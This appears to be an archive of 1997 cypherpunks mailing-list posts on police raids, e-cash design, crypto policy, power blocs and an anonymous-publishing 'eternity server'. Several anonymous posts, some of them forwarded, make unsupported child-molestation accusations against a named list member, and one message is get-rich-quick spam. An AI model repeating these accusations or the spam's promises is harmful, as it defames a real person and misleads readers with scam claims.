picked up the devel- oped photos, someone had seen the guns, called
the police, and said they had some photos of gang members with
guns.

Rex asked me whether I thought he should get a lawyer and go after
Costco, and my response was "definitely". Rex is in the middle of
the hiring process to become an officer with the San Francisco Po-
lice Department, and I warned him that this would almost certainly
arise and bite him when they got to the background investigation
phase. He ultimately decided to drop the matter: figured that he
didn't have the money for a lawyer, wasn't interested in creating
further problems or getting anyone in trouble, and the police
hadn't bothered to con- tact and talk with HIM so apparently the
matter had been dropped. Then I received his e-mail message, below:

---------- Forwarded message ----------
Date: Mon, 21 Apr 1997 13:22:58 -0800
From: (Rex Biteng)
To: dale seago 
Subject: It happened!!!!

Dale,

Hows it going there??? Well, let me tell you of the recent drama.
Feel free to tell anyone you want. At 0700 this morning the santa
rosa pd, rohnert park pd, and the sonoma sherriffs (gang task
force) raided Robert and my house simultaneously. It was very
depressing. A full swat team with their mp-5's and riot shot-guns
compleate with their kevlar helmets, black bdu-s and  riot shields
put my brother, me, my uncle (who is a retired Philippine Marine
officer and saw combat duty during his service), and my old
grandfather, in hand-cuffs face down. Let me tell you that it is a
very scary feeling to have a mp-5 with the safty off pointed at
your back when you are truly innocent. They served me a search
warrant and confiscated my brothers telescopic baton, my black
ruck-sack which included my black bdu's and my tabi that I use for
Bujinkan and a photo album of mine with some of the gun pictures in
it. It's funny because in that same albulm I have my Guardian Angel
pictures in there plus some pictures of when I was at Airborne
school in ft. Benning.
I told them the whole story and I even had to explain my bdu's that
I use for Bujinkan. The investigator told me 'as if he was a expert
in the martial arts' that dosen't your dojo use gi's and have
ranking systems. I had to explain that Bujinkan is not a normal
style that he was use to.  In fact, One of the investigatiors who I
will not say, treated me as if I was a dumb unintelligent nit.
Trying to make me say things that were not true. I even had to
explain about a little ninja dash ornament that Jason and I have in
mine and his car. I told them about having an attorney present but
he just told me that if i had nothing to hide to tell him the
information that I knew. So I told them everything. Apparently, I
guess you now have to prove your innocence instead of being
innocent untill proven guilty.
I don't know how Robert faired because I haven't been able to talk
to him yet. But I'll keep you up to date on what happens.

Your Bujinkan Warrior,
Rex

                        (End of forwarded message)
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _

The following night in the dojo I also was able to get Robert's
side of things. Pretty much the same story: They cuffed Robert and
told his father and stepmother to get out, at which point Robert's
62-year- old stepmother sort of "lost it" and snapped back to her
girlhood in France, when the Nazi soldiers came to her village and
behaved the same way. She actually attacked one of these modern
ones and knocked the fine German-made HK MP5 submachine gun out of
his hands.

No firearms were found at either residence, and no one was taken
into custody. They tried to question Robert, but he informed them
that they were welcome to search for the items specified on the
warrant, but that if they found nothing and wished to question him
about anything else, they would have to arrest him and take him to
the station, whereupon he would answer questions only in the
presence of an attorney.

What, specifically, were they looking for? Following are ex- tracts
from the search warrant:

                        STATE OF CALIFORNIA
                          COUNTY OF SONOMA
                           SEARCH WARRANT

PEOPLE OF THE STATE OF CALIFORNIA, to any sheriff, policeman, or
peace officer in the County of Sonoma:
PROOF, by affidavit, having been made before me by DEPUTY
(deleted), SONOMA COUNTY SHERIFF'S DEPARTMENT, that there is
probable cause to believe that the property described herein may be
found at the locations set forth herein and that it is seizable
pursuant to Penal Code 1524, as indicated below by "X"(s), in that
it:

                (3 of 5 possible choices were "x'd")

  X     was used as the means of committing a felony

  X     is possessed by a person with the intent to use it as a means of
        committing a public offense or is possessed by another to whom he
        may have delivered it for the purpose of concealing it or
        preventing its discovery

  X     is evidence which tends to show that a felony has been committed
        or a particular person has committed a felony

        you are therefore COMMANDED TO SEARCH the premises located at
        and described as: (followed by addresses and descriptions of
        Rex's & Robert'sresidences and vehicles) and the persons of
        (followed by Rex's & Robert's names and physical descriptions;
        and)

        3. Subject #3, the person depicted in the attached photographs,
should he be present at either location; for the following property:

        1. AK-47 variant, 7.62x39 with Choate handguards and thumb hole
stock with thirty round magazine. This weapon is defined as an assault
weapon by 12276(a)(1) PC, which covers the AK-47 and all of its variants;
        2. Chicom SKS, 7.62x39 with folding stock and thirty round de-
tachable magazine. This weapon is defined as an assault weapon by 12276
(a)(11) PC, when it has a detachable magazine;
        3. Any miscellaneous gun pieces, ammunition, gun cleaning items
or kits, holsters, ammunition belts, original box packaging, targets,
expended pieces of lead, photographs of firearms or any paper work show-
ing the purchase, storage, disposition or dominion or control over any
guns, ammunition or any of the above items;
        4. Articles of personal property tending to establish the ident-
ity of persons in control of any premises, storage areas or containers
being searched, such as utility company receipts, rent receipts, charge
card receipts, tax receipts, airplane tickets and other receipts, checks,
deposit slips, savings account passbooks, passports, drivers licenses,
vehicle registrations/titles, land titles, escrow papers, legal docu-
ments, Social Security cards, Food Stamps, Medi-Cal cards, insurance
bills and/or policies, medical records, prescriptions and prescription
bottles, doctor bills, hospital bills, cancelled mail, addressed envel-
opes, photographs, weapons with serial numbers, keys and safes;
        5. To search and/or seize any and all computer equipment, in-
cluding any and all storage media, either hardware or software, located
within said residence for evidence relating to this crime;
        6. Any and all electronic day planners located within said res-
idence for any and all evidence pertaining to this crime;
        You are authorized to defeat any and all security and/or pass-
words; and to SEIZE it if found and bring it forthwith before me, or
this court, at the courthouse of this court.

                (signed by the issuing magistrate)
                    (end of warrant excerpts)

The firearms in question, as I mentioned earlier, are actually
owned by a friend of Rex's & Robert's in the Sacramento area.
Robert told the Naz. . I mean, the Nice Officers who the individual
is and where he lives. How did the folks in the Sacramento
jurisdiction handle it with this third guy? Couple o' folks came to
his house, talked with him, looked at the weapons and determined
that they either are not the statutorily defined assault weapons
mentioned in the warrant (it IS hard to distinguish a lot of these
carbines from each other from a pho- tograph alone); or, if they
are the weapons described, they are none- theless legally possessed
by the owner. And they left, with no arrest of confiscations.

Rex, Robert, and their respective families should at this point (in
my humble lay opinion) have excellent cases against both Costco
(for slander and defamation; also for loss of future income in
Rex's case if the San Francisco Police Department now refuses to
hire him) and (at least) the Sonoma County Sheriff's department. An
important as- pect of self-defense (and of ninpo, for that matter)
is to have the right sorts of connections to get things done, and
I've contacted an attorney who is interested in looking into the
matter. For the record: Yes, I most certainly WILL "go to war",
metaphorically speaking, for my people.

Regards,
Dale Seago
======================================================================







From nobody at huge.cajones.com  Tue Apr 29 22:38:19 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 29 Apr 1997 22:38:19 -0700 (PDT)
Subject: Cyclic codes
Message-ID: <199704300538.WAA00247@fat.doobie.com>


Given Timmy Mayo's propensity to molest little children, is it 
any surprise that the state of California wants to have him 
castrated?

    _
   >@) Timmy Mayo
   (V(_
   ^^\<






From shamrock at netcom.com  Tue Apr 29 23:40:29 1997
From: shamrock at netcom.com (Lucky Green)
Date: Tue, 29 Apr 1997 23:40:29 -0700 (PDT)
Subject: Software patents
Message-ID: <3.0.32.19970429233202.0070b8e4@netcom13.netcom.com>


At 07:30 PM 4/29/97 -0400, Robert Hettinga wrote:
>Anyway, getting back to the point, "avoiding unpleasantness" also means not
>having patent lawyers sue those very essential "hoity-toity" trustee banks
>for rediculous reasons, like patent infringement, actual or not.

There is a simple way to prevent patent lawyers from suing you for supposed
patent infringement. Distribute your software from a jurisdiction in which
software patents do not exist. South Africa is one of many such jurisdictions.

Anecdote: at a conference, I asked a patent attorney what strategy to
follow if your patented technology is only happening in the client
software. He looked at me like I was drooling on myself and said: "Uhm...
Well... Then you have a problem."

IANAL, but I suppose the best strategy for the owners of a shaky software
patent would be to make people believe that their technology is patented in
many more jurisdictions than it actually is.

Have fun,


-- Lucky Green  PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From real at freenet.edmonton.ab.ca  Tue Apr 29 23:42:38 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Tue, 29 Apr 1997 23:42:38 -0700 (PDT)
Subject: Cyclic codes
In-Reply-To: <199704300538.WAA00247@fat.doobie.com>
Message-ID: 


On Tue, 29 Apr 1997, Huge Cajones Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Given Timmy Mayo's propensity to molest little children, is it 
> any surprise that the state of California wants to have him 
> castrated?
> 
>     _
>    >@) Timmy Mayo
>    (V(_
>    ^^\<
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From lucifer at dhp.com  Wed Apr 30 00:15:50 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Wed, 30 Apr 1997 00:15:50 -0700 (PDT)
Subject: Rejecting Dialog with Government Vermin
Message-ID: <199704300715.DAA31556@dhp.com>


John Young wrote:
 
> So, Time-speaking a Declan, I nym drop that Cylink's board dined
> this evening at the Harvard Club to admire Dr. Leo Guthart hiccuping
> the joys of bedding and gorging Sodom's delights -- the cost to be
> written off thanks to DC/NY/CA/AR mutual scratch-fleas legally
> sanctioned worldwide: the need and deed of two-back gov and biz.

  John's getting better drugs than I am.

TruthMonger







From nobody at huge.cajones.com  Wed Apr 30 01:04:05 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 30 Apr 1997 01:04:05 -0700 (PDT)
Subject: Citizen Units
Message-ID: <199704300804.BAA06655@fat.doobie.com>


Tim May wrote:

> These no-knock dawn raids are becoming de rigeur. I'm surprised Jim Bell
> was raided at the late hour of 9 a.m. I'm also somewhat surprised there was
> no gunfire at his house.

  They were waiting for the Search Warrant to be signed, to make
sure they had their asses covered.
  The fact that it was dated on March 28 (?) means little. Judges 
regularly predate warrants upon the basis of a need to protect
sources. Most court systems leave a few document numbers free
each day for future predating of warrants, affadavits, etc.

  Judges and JP's have many legal requirements to meet in most
procedures, ones which they totally ignore for the most part, 
yet I have yet to see any lawyer challenge the sloppy bullshit 
that stems from their failure to follow proper judicial procedure
in the behind-the-scenes paperwork.
  The bottom line is that even the best of lawyers fear judges
that they know they will have to face again, and they don't
want every court ruling to go against them for the next ten
years.

TruthMonger






From 73609724 at 32117.com  Wed Apr 30 01:21:38 1997
From: 73609724 at 32117.com (73609724 at 32117.com)
Date: Wed, 30 Apr 1997 01:21:38 -0700 (PDT)
Subject: Show Me The Money !!!
Message-ID: <1887021673627.GAA08056@jeanjacket.com>


Dear Friend...
   Forgive the intrusion, but I am compelled to tell you of a simple,
*ingenious* way to make a lot of money. It's very easy, costs peanuts 
to participate in, and you can make $50,000 or more in less than 90 
days within the comfort of your own home. 
   Do you want to make your financial dreams come true? This will make you 
a  LOT of money easily and your dreams a reality.
  
   To receive full information quickly, just double click on the 
highlighted link below and send us a blank e-mail message:

 sandk at answerme.com

(Serious inquiries only please) 

If you choose not to participate in this program, I am sorry. It 
really is a great opportunity with little cost or risk to you. If  
you choose to participate, follow the program and you will be on 
your way to financial security.  

 
Thank you for your time

Sincerely,
  S&K Consulting 






From aba at dcs.ex.ac.uk  Wed Apr 30 03:56:49 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Wed, 30 Apr 1997 03:56:49 -0700 (PDT)
Subject: Bypassing the Digicash Patents
In-Reply-To: 
Message-ID: <199704300909.KAA00664@server.test.net>



Robert Hettinga  writes:
> Remember, proto-wings were evolved by pond-skimming insects so they could
> skim across ponds faster. Eventually, when those proto-wings evolved into
> actual wings, flying insects didn't need ponds anymore. With that idea in
> mind, digital bearer certificates are going to have to interface with the
> book entry world of meatspace for a while, in order to be convertable into
> other assets. Eventually, at some point, those assets won't be book-entries
> anymore.

No offense Bob, but your pose takes some reading, too full of
metaphors, but I grok what you're saying, and the topic discussed here
I find interesting.

How about this, rather than interface your ecash system with US
dollars yourself through credit cards/ debit cards/ cheques / cash,
just set up an entirely disconnected system.

You may remember the digicash trial mint.  It was monopoly money,
theoretically it was worthless.  However people were selling freebees
for it (the odd T-shirt, cap etc), plus images, programs.  Also it was
collectable in the sense that there was a limited mint.

The unofficial digicash exchange was set up and some transactions took
place.  People were buying and selling the monopoly money for real
money, without digicash having to worry about the legality of the
interface to existing payment systems.  The black market/ unoffcial
market took care of it.  Also the internet casino is interesting in
relation to this.  They accept many payment forms, if they started
accepting our "net cash" (net in the sense that it only means anything
directly in terms of the net), then you could exchange cash by playing
some low rake off game such as roulette.  (Just keep betting on black,
the commision is the house slot, and you take your chips away in real
world currency).

The cryptographic requirements for a system such as this would be:

 1) anonymous (privacy preserving, payee and payer anonymous
 2) distributed (to make it hard to shut down)
 3) have some built in scarcity
 4) require no trust of any one individual
 5) preferably offline (difficult to do with pure software)
 6) reusable

My ideas so far are hashcash (where the scarcity is related to your
processing power).  (See http://www.dcs.ex.ac.uk/~aba/hashcash/)
However this makes for hyper-inflation because of the rapid increase
in CPU power.  

hashcash is not directly transferable because to make it distributed,
each service provider accepts payment only in cash created for them.

You could perhaps setup a digicash style mint (with chaumian ecash)
and have the bank only mint cash on receipt of hash collisions
addressed to it.

However this means you've got to trust the bank not to mint unlimited
amounts of money for it's own use.

So, perhaps you could have multiple banks and let reputation sort them
out, if you could arrange the protocols so that it would be apparent
if a bank was minting more cash than it had received hash collisions
for.  (Say by publishing the collisions, and making it possible to
publically verify the quantity of cash in circulation).

But if you've got multiple banks then you've got to have an exchange
mechanism.  The market could probably take care of this, setting
exchange rates based on banks reputations.

However it would be nicer to have something which required no trust
and which had no posssibility of cheating rather than relying on
reputation to sort them out.

> Think about it this way. Personal computers didn't really start to kill
> mainframes until they were networked into mainframes and could hoover data
> out of them with impunity, and out-process the information. Excel killed
> 123 that much quicker because it could read .WK1 files transparently,
> macros and all, and then do much more with it. Soon, this upcoming
> "protocol conversion", between the net world of bearer certificates and the
> meatspace world of book-entries, will be done by a financial trustee.

The problem with anonymous ecash to continue your metaphor is that
.WK1 files also happen to be illegal or surrounded by huge amounts of
banking regulations.  So even though the new system is better the
negative forces acting against so far have succeeded in stifling it.

One of the negative forces also is user stagnation, people are used to
cheques and credit cards, even if they are inefficient and prone to
fraud.

Adam

-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0


-----BEGIN PGP SIGNED MESSAGE-----

Ulf =?ISO-8859-1?Q?M=F6ller?= (3umoelle at informatik.uni-hamburg.de) wrote:

>It is worth noting that the "Data Privacy Commissioners" in Germany
>(equivalent to the British Data Protection Registrar) are beginning to
>advocate technologies such as anonymous e-cash, pre-paid chipcards,
>pseudonyms, and of course encryption, rather than more laws.

But according to alt.security.pgp (4/28/97):

BONN, Germany (Reuter) -- A German cabinet minister called Monday for
increased efforts to fight crime on the Internet and demanded that
cyber-sheriffs have keys to unlock coded messages.
Interior Minister Manfred Kanther told a conference ....."The
technical and organizational competence of agencies charged with
fighting computer crime must be strengthened." 
"The criminals are hiding in the anonymity of the networks, wiping
their electronic tracks." Kanther said.

So clearly the government disagrees.

	-- HP


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From whgiii at amaranth.com  Wed Apr 30 08:24:37 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Wed, 30 Apr 1997 08:24:37 -0700 (PDT)
Subject: Data Privacy Laws
In-Reply-To: <19970430143414.10988.qmail@nym.alias.net>
Message-ID: <199704301521.KAA05017@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----


In <19970430143414.10988.qmail at nym.alias.net>, on 04/30/97 at 02:34 PM,
   Hodge Podge  said:


>Ulf =?ISO-8859-1?Q?M=F6ller?= (3umoelle at informatik.uni-hamburg.de) wrote:

>>It is worth noting that the "Data Privacy Commissioners" in Germany
>>(equivalent to the British Data Protection Registrar) are beginning to
>>advocate technologies such as anonymous e-cash, pre-paid chipcards,
>>pseudonyms, and of course encryption, rather than more laws.

>But according to alt.security.pgp (4/28/97):

>BONN, Germany (Reuter) -- A German cabinet minister called Monday for
>increased efforts to fight crime on the Internet and demanded that
>cyber-sheriffs have keys to unlock coded messages.
>Interior Minister Manfred Kanther told a conference ....."The technical
>and organizational competence of agencies charged with fighting computer
>crime must be strengthened." 
>"The criminals are hiding in the anonymity of the networks, wiping their
>electronic tracks." Kanther said.

>So clearly the government disagrees.

Actually they probably do not dissagree. I am sure that the German
Government will come to agreement that "anonymity" only means anonymity
from civilians not anonymity from government. I am sure that the "Data
Privacy Commissioners" & the Interior Dept. will be in agrement solong as
everything is properly GAKed. :(


- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: I don't do Windows, but OS/2 does.

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From 3umoelle at informatik.uni-hamburg.de  Wed Apr 30 08:40:18 1997
From: 3umoelle at informatik.uni-hamburg.de (Ulf =?ISO-8859-1?Q?M=F6ller?=)
Date: Wed, 30 Apr 1997 08:40:18 -0700 (PDT)
Subject: Data Privacy Laws
In-Reply-To: <19970430143414.10988.qmail@nym.alias.net>
Message-ID: <9704301539.AA63320@public.uni-hamburg.de>


> BONN, Germany (Reuter) -- A German cabinet minister called Monday for
> increased efforts to fight crime on the Internet and demanded that
> cyber-sheriffs have keys to unlock coded messages.
> Interior Minister Manfred Kanther told a conference .....

> So clearly the government disagrees.

Fortunately, it is not that clear.  The FDP (the smaller party in the
government coalition) sent out an angry press release today, pointing
out that Kanther's plan will not be supported by a majority neither in
the cabinet nor in the Bundestag, and demanding that he stops to
damage the government's reputation.

Also see my previous message about the FDP policy at
http://infinity.nus.sg/cypherpunks/dir.archive-97.04.17-97.04.23/0087.html





From root at fatmans.demon.co.uk  Wed Apr 30 10:27:52 1997
From: root at fatmans.demon.co.uk (root)
Date: Thu, 1 May 1997 01:27:52 +0800
Subject: Test, Ignore
Message-ID: <199704292342.XAA00117@fatmans.demon.co.uk>



Testing new mail Apps, Ignore






From tcmay at got.net  Wed Apr 30 10:33:48 1997
From: tcmay at got.net (Tim May)
Date: Thu, 1 May 1997 01:33:48 +0800
Subject: Power Blocs in the Crypto Debate
Message-ID: 



We're seeing an interesting debate about the nature of power in Washington,
the role of different lobbying groups, and why things are as they are.

At the March meeting of the Cypherpunks in the Bay Area, I outlined a
fairly straightforward model of the power blocs jockeying for position and
influence, and discussed when and how the interests of the blocs
intersected with the interests of other blocs.

This model has a lot of ancillary conceptual baggage, which I'll try to
explain as I go along.

At the simplest level, there are 3 main _blocs_ in the crypto debate:

* Public groups, users, citizens, Cypherpunks, EFF, EPIC, etc.

* Corporations, sellers of tools, exporters, etc.

* Government, law enforcement, FBI, NSA, etc.


(I almost consider adding "the press" as a 4th group or bloc, but choose
not to expand the bloc list too much. As we will see, their role is
somewhat different, anyway.)

Text messages like this one are poor for discussing dynamics, best done on
blackboards with dynamic arrows, erasures, etc. But this is the diagram I
put up at that March meeting:


                       Public/Users

                    /               \
                   /                 \
                  /                   \

        Corporations  -  -  -  -  -    Government


Simple, yes. Some points about these blocs:

* Forget teleology--these blocs have no "ultimate goals." No grand mission,
no longterm ideological direction. Self-reproduction is vastly more
important than "evolution" (which implies some guiding hand toward some
higher state).

* This is a slight exaggeration, as certainly many individuals in these
groups _believe_ they have longterm goals or ideologies. My point is that
viewing these blocs as organisms is more on target than viewing them as
ideological units. Thus, corporations succeed and get bigger and spread
their "memes" around. Government agencies which control power get
larger...it's not that they "seek" to get larger, as is popularly thought,
it's that differential reproduction and growth favors such policies...like
branches growing toward the sun and outgrowing their neighbors (and then
the genes of the trees which grew are more common, due to survival, than
the genes of trees which did not grow, for whatever reasons).

* Certainly subcomponents of these organisms may "decide" that certain
policies will enhance their individual growth rates, or personal happiness,
etc. Thus, their are apparently groups within PGP, Inc., as disclosed at
that same March CP meeting, which see it in their interest (and they will
claim, in the mother organism's interest, whether true or not) to establish
closer working relationships with agencies in government. Other names for
this opportunistic, not suprising behavior: empire-building,
brass-polishing, careerism, greed, etc.

* These blocks are "basins of attraction," and are like any other game,
hobby, interest, or career. People start following football and then begin
associating themselves with some team. Or they take up a hobby and this
becomes their world, a world they follow closely, root for, lobby for, etc.
They are "organisms," with their own (apparent) lifecycles, habits,
instincts, etc.

* Memes. Enough said. (If anybody doesn't know about memes, do a Web
search, or read Dawkins' "The Selfish Gene.") Evolutionary game theory,
Axelrod's "The Evolution of Cooperation," and Wright's "The Moral Animal"
(to name but a few of the many important books in this area).

* Recall De Tocqueville's circa 1840 famous words of warning about the
American experiment (paraphrased from memory, and translated): "The great
American experiment in democracy will last only until the voting public
discovers it can pick the pockets of others at the ballot box." This is
another way of expressing this "bloc" idea. Special interest groups,
lobbying groups, etc.

OK, so let's look at crypto:

                                 Users of crypto, concerned citizens, the
public
                                 Cypherpunks, EFF, ACLU, EPIC, etc.
                                /
                               /
                       Public/Users

                    /               \
                   /                 \
                  /                   \

        Corporations  -  -  -  -  -    Government - - NSA, FBI, military,
               /                                 law enforcement, regulators,
              /                                    SEC, FCC, etc,
        PGP, Inc., RSADSI, Cylink
        Verisign, Netscape, etc.


Now this diagram can't capture the dynamics, and may even look "obvious" or
"banal." But some structure is useful in analyzing group dynamics.

For one thing, it's useful to note that the interests of corporations, for
example, are not at all the same as the interests of users. Even if they
make some of the tools users want to see! Corporations are organisms, and
will cut deals with the other players to enhance their own growth
opportunities...either as an overall corporate goal or due to sub-corporate
group manouverings, as with the groups within PGP, Inc. working on key
escrow schemes with government agencies and committees--these subgroups may
even see themselves as the "true spirit" of the companies, and/or may make
power grabs to make their memes the memes of the larger company...this
happens every day.

And each of these groups splits into multiple pieces.

Some groups get sucked into the "orbit" of the other power blocs. Thus, as
we have been discussing with Declan, journalists and lobbying groups in
Washington (the arguable "fourth bloc" (fourth estate) that could be used
for them) find themselves powerless unless they suck up to the government
or one of the other power blocs. The rules of the FDA, for example, start
to become the rules of the  journalist...or at least he starts "playing the
game."

Likewise, a journalist based in Silicon Valley will socialize with other
Valley folk, will follow the successes and failures of Valley companies,
and will almost always come to think of the Valley as "his team." Like a
sports team, or hobby, or game, or any other such "basin of attraction."

(Regionalism is not necessarily the most important. Journalists will still
remain "loyal" to their profession, lawyers to theirs, programmers to
theirs, etc. They will look to their professions for advancement,
power-building, etc. Part of the game. Growth, and memetic
self-reproduction.)

But "company towns" like Silicon Valley, Washington, and New York City
exert a powerful influence on those living in such areas...

Back to crypto.

The interests of these groups are not at all coincident, and we must never
lose sight of this. Roughly speaking, these three major blocs fit as
follows:

* Corporations survive and grow by selling things and driving out
competitors. Crypto and software companies want to sell licenses, browsers,
etc. Netscape wants to sell stuff. (I slip, like anyone, into saying
"wants," implying some teleological wish or goal...and to some extent this
is how the company will frame the issue...but a more accurate picture is
that Netscape will cease to be important if it doesn't sell enough products
and will become a dominant force if it sells a lot of products--the
translation to "wishes" and "goals" happens in the usual way.)

* Government is like a giant corporation. (Arguably, one could collapse
that leg of the tripod and call it "Washington, Inc.") Advancement for
individuals and departments comes as power grows. Every sub-bloc is looking
for those warming rays of the sun to extend its branches and leaves.
Empire-building and self-perpetuation. "The only purpose of a politician is
to stay in power." Nietzsche's "will to power." Or differential
reproduction. Republicans and Democrats jockey for more power, and to stay
in office.

* Washington, Inc. gets bigger and bigger because no forces effectively
exist to limit growth. Each department or office seeks to grow maximally,
as this enhances the careers, salaries, and power of individuals and other
departments. Lacking any natural predators, and facing no physical limits
to growth, this organism balloons larger and larger every decade, despite
minor year-to-year attempts to "reduce the size of government."

* These organisms seek mechanisms to enhance their growth and power.
Economists speak of "rent-seeking," as when the "Doctors, Inc." bloc seeks
to enhance their  power, compensation, and self-perpetuation by making it
hard for others to become part of their profession. (High-falutin' notions
that doctors guilds exist to provide maximum health care quality benefits
are utterly trivial compared to the game-theoretic, rent-seeking,
empire-building reasons...they form a guild because they _can_ form a
guild.)

* What about the third leg of the tripod, the "public"? Even there the
mechanism involves growth, survival, the will to power. Cypherpunks seek to
have an influence, even to be interviewed by Japanese television!
Individually or as part of "Cypherpunks, Inc.," they seek influence,
growth, power. (Of course, these tendencies are influenced by external
factors. For example, those of us living far away from D.C., or even fairly
far from San Francisco, take a dimmer view of influencing legislators and
reporters than those living close enough to get partially pulled into their
orbits, their games.)

* And the various "public interest" factions all have their own goals,
strategies, and notions about growth and power. EFF once sought to be the
dominant "third leg" power broker, had some defeats, and then essentially
left Washington to lick its wounds and (maybe) to regroup or to alter its
focus (which it appears to be doing by concentrating on legal cases, a la
Bernstein). EPIC has its notions of growth, Voter's Telecomm Watch its
notions, etc.

* Some groups are more explicitly ideological, some are more willing to
compromise. Cato is ideological, NRA is once again ideological (after a
period of trying to cozy up to factions in the government as a way of
growing and gaining influence...failure cause them to retreat to their
"ideological corner").

Enough for now.

The important thing to remember is that allies are not permanent, that the
ills of Big Government can be seen in organistic, Darwinian terms, and that
"good and evil" have very little to do with anything.

I hope this diagram helps a little, at least in explaining some of my
views. Your mileage may vary.

--Tim May

















There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From lucifer at dhp.com  Wed Apr 30 12:13:48 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Thu, 1 May 1997 03:13:48 +0800
Subject: ZKP
Message-ID: <199704301854.OAA27005@dhp.com>


If Internet is the `information highway', then Tim Maypole is 
the roadside litter in the gutter.

   _ O  Tim Maypole
  (_    |
     -'_/
     X-






From spectre at nac.net  Wed Apr 30 12:46:06 1997
From: spectre at nac.net (The Spectre)
Date: Thu, 1 May 1997 03:46:06 +0800
Subject: Fw: ZKP
Message-ID: <19294227142225@nac.net>


-----BEGIN PGP SIGNED MESSAGE-----

Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

To: cypherpunks at toad.com
Date: Wed Apr 30 15:33:10 1997


- -----Begin Included Message ----- 

Date: Wed, 30 Apr 1997 14:54:51 -0400
 From: lucifer at dhp.com (lucifer Anonymous Remailer)
To: cypherpunks at toad.com
Cc: 

If Internet is the `information highway', then Tim Maypole is 
the roadside litter in the gutter.

   _ O  Tim Maypole
  (_    |
     -'_/
     X-



- ---- End of forwarded message ----

I'm tired of this tim tripe wasting my bandwidth.. we get the idea.

- -The Spectre

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From camcc at abraxis.com  Wed Apr 30 14:10:17 1997
From: camcc at abraxis.com (Alec)
Date: Thu, 1 May 1997 05:10:17 +0800
Subject: Security hole discovered
Message-ID: <3.0.1.32.19970430154019.007d1100@smtp1.abraxis.com>



http://www.anchordesk.com/story/story_876.html

Security hole discovered in latest JDK and  
HotJava browser. JavaSoft shipping patch. 






From aba at dcs.ex.ac.uk  Wed Apr 30 14:14:25 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Thu, 1 May 1997 05:14:25 +0800
Subject: [ANNOUNCE] Eternity server 1.01 alpha release
Message-ID: <199704302052.VAA10052@server.test.net>



Annoucing the `eternity server'.

Alpha testers wanted.  See source code at:

	http://www.dcs.ex.ac.uk/~aba/eternity/

System requirements are:

  unix
  perl5
  news source (local news spool or access to nntp server)
  pgp (2.6.x)
  web space
  ability to install cgi-binaries
  ability to schedule cron jobs a plus but not essential

Unfortunately I have not got a service up and running for you to play
with because I don't meet those requirements (in cgi capability on the
server I would otherwise like to use).

If someone wants to set one up to demo, and post the URL that would be
useful.

The local news spool stuff is tested better than the nntp server
stuff, but it is all there and the nntp stuff was working at one
point.  Remember this is alpha code.  If you can hack perl and want to
stress test the nntp server stuff or the rest of it that would be
helpful.

What is an Eternity Service?

(Some of you may recognize the name `Eternity Service' from Ross
Anderson's paper of that name.  What I have implemented is a related
type of service which shares Anderson's design goals, but has a
simpler design.  Rather than invent a new name, I just borrowed
Anderson's, unless anyone can think of a better name. Anderson has the
paper available on his web pages (look for `eternity') at
http://www.cl.cam.ac.uk/users/rja14/ Also I heard that Eric Hughes
gave a talk on UPS `Universal Piracy Service' I presume this has
similar design goals, though I have not heard further details.)

I have implemented this to give something concrete to think about in
terms of creating something closer to Andersons real eternity service
in robustness.

The eternity server code above provides an interface to a distributed
document store which allows you to publish web pages in such a way
that the attacker (the attacker here is a censor such as perhaps a
government, perhaps your government) can not force you to unpublish
the document.

It's architecture is quite simple.  We already have an extremely
robust distributed document store: USENET news.  We already have the
ability to post messages to the document store anonymously: type I and
type II (mixmaster) remailers.  So theoretically we can publish what
ever we want, just post it to USENET.  However retreiving the data is
cumbersome.  We must search USENET with a search engine, or look
manually for the document, the document will expire after some short
time.  You may still be able to find the document in a search engine
which archives news for longer periods such as dejanews or altavista.

However, it is not as user friendly as a web based interface, there
are no hypertext links between related documents, there are no inline
graphics, etc.

So my `eternity server' is a kind of specialised web search engine
which acts as a kind of web proxy and provides a persistent web based
interface to reading web pages stored in encrypted documents posted to
different USENET groups.  The web search engine provides persitent
virtual URLs for documents even if they move around with different in
different news groups, being posted via different exit remailers.
